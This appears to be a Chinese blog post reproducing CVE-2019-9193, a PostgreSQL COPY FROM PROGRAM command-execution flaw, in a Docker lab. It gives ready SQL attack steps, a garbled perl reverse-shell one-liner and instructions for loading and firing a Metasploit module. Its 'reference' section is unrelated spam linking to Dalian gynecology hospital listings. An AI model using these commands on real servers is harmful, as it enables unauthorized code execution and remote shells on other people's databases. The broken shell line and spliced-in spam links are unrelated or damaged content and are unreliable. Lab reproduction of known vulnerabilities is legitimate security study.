漏洞介绍
无意中看到这个漏洞
也看到这个漏洞的分析文章
看不懂原理
跟着复现
PostgreSQL,俗称Postgres,是世界上最受欢迎的数据库系统之一。它是Mac OSX系统的主力数据库,同时也有Linux和Windows版本。
CVE-2019-9193),它能使某些数据库用户利用Postgres实现任意代码执行。这个漏洞几乎影响了PostgreSQL的所有版本(从9.3到最新的11.2),同时也影响了所有的操作系统:Windows,Linux和Mac。
漏洞原理
从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令
攻击步骤
[可选]删除你想使用但已存在的表
DROP TABLE IF EXISTS cmd_exec;
创建保存系统命令输出的表
CREATE TABLE cmd_exec(cmd_output text);
通过COPY FROM PROGRAM功能运行系统命令
COPY cmd_exec FROM PROGRAM ‘id’;
[可选]查看结果
SELECT * FROM cmd_exec;
需要注意的是原本命令中的任何单引号都必须转换为双引号才能正常生效
## 漏洞复现
环境搭建
p牛的漏洞库可以用更新了
可以直接从页面中
https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193
然后
docker-compose up -d
尝试攻击
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM ‘id’;
SELECT * FROM cmd_exec;
COPY files FROM PROGRAM ‘perl -MIO -e “ p); c,r); c,w);system$_ while<>;”’;
进阶利用
可以直接使用msf的模块进行攻击
地址如下:
https://github.com/Greenwolf/postgres_cmd_execution_nine_three
不过这里得说明一下,使用这个模块是需要会一点基础的ruby知识,代码里面是有彩蛋的,我也踩了点坑。我想,应该是代码作者有意而为之,不能让别有用心的人直接拿过来用吧。具体是什么的就不说了,自行测试,哈哈。
利用步骤:
打开kali下载postgres_cmd_execution_nine_three.rb 修改完毕之后,将文件拷贝到/usr/share/metasploit-framework/modules/exploits/multi/postgres/postgres_cmd_execution_nine_three.rb路径中去
然后在msfconsole中
reload_all
加载模块,设置参数
use exploits/multi/postgres/postgres_cmd_execution_nine_three
开始攻击
exploit
## 参考文章
大连妇科医院排名 http://yyk.39.net/dl/zonghe/f9a8f.html
大连妇科医院哪里好 http://yyk.39.net/hospital/f9a8f_detail.html
大连哪个医院妇科好 http://yyk.39.net/hospital/f9a8f_labs.html